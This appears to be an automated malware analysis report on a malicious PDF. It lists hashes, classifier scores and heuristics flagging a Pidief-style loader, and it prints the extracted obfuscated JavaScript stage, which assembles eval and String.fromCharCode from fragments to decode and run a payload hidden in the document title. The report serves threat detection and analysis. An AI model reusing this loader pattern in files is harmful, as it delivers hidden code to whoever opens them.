Malicious PDF — malware analysis report

Static analysis result for SHA-256 e5b0d24e49a943bb…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-09
MD5: d4f1177d95b781663ab7a5369ce175b0 SHA-1: 9905e560fbc8fd60cf04c6f41f0b08b25391c27e SHA-256: e5b0d24e49a943bb0486be8fb92abb4e08e6f71cfe2e1384b52d4aa401068470
86 Risk Score

Malware Insights

The ML classifier strongly indicates maliciousness, and the PDF contains embedded JavaScript. This JavaScript is likely responsible for executing malicious code, potentially downloading further payloads or performing other harmful actions. The specific intent of the script could not be fully determined due to its obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB027 483 bytes
SHA-256: 3aae1b88dd87aa491a78fcc65bd36f6896f3664a79e6170f1bf5a06d5d3242fe
Preview script
First 1,000 lines of the extracted script
dikw='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
ykst=e('ti'+'tle');
s=ykst.substr(t.length + 8,3)+'str';
q=ykst[s](1,(1,t.length + 7));
eue=e('S'+'tring.fro'+q);
q=ykst[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	vje = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	dikw += eue(vje);
}
e(dikw);

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